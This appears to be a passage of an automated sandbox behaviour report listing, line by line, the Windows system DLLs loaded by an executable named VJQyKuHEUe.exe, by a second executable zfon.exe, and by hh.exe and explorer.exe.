Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\hh.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.applicationmodel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sndvolsso.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appextension.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cldapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinui.pcshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wincorlib.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.immersiveshell.serviceprovider.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: languageoverlayutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: photometadatahandler.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ehstorshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinui.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: applicationframe.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: holographicextensions.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: virtualmonitormanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: abovelockapphost.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: npsm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.shell.bluelightreduction.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.signals.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositorybroker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rtworkq.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: structuredquery.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.security.authentication.web.core.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.data.activities.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.system.launcher.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.ui.shell.windowtabmanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: notificationcontrollerps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.devices.enumeration.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswb7.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: devdispitemprovider.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.core.textinput.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windowsudk.shellcommon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dictationmanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: stobject.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wmiclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pcshellcommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: daxexec.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: container.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: shellcommoncommonproxystub.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptngc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cflapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: batmeter.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: inputswitch.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: prnfldr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.ui.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: actioncenter.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: syncreg.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnidui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wscinterop.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: networkuxbroker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wpnclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ethernetmediamanager.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: werconcpl.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: hcproviders.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dusmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.system.userprofile.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cloudexperiencehostbroker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wpdshserviceobj.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: portabledevicetypes.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cscobj.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srchadmin.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.search.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: synccenter.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: imapi2.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ncsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bluetoothapis.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cdprt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: settingsync.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: settingsynccore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wpnapps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
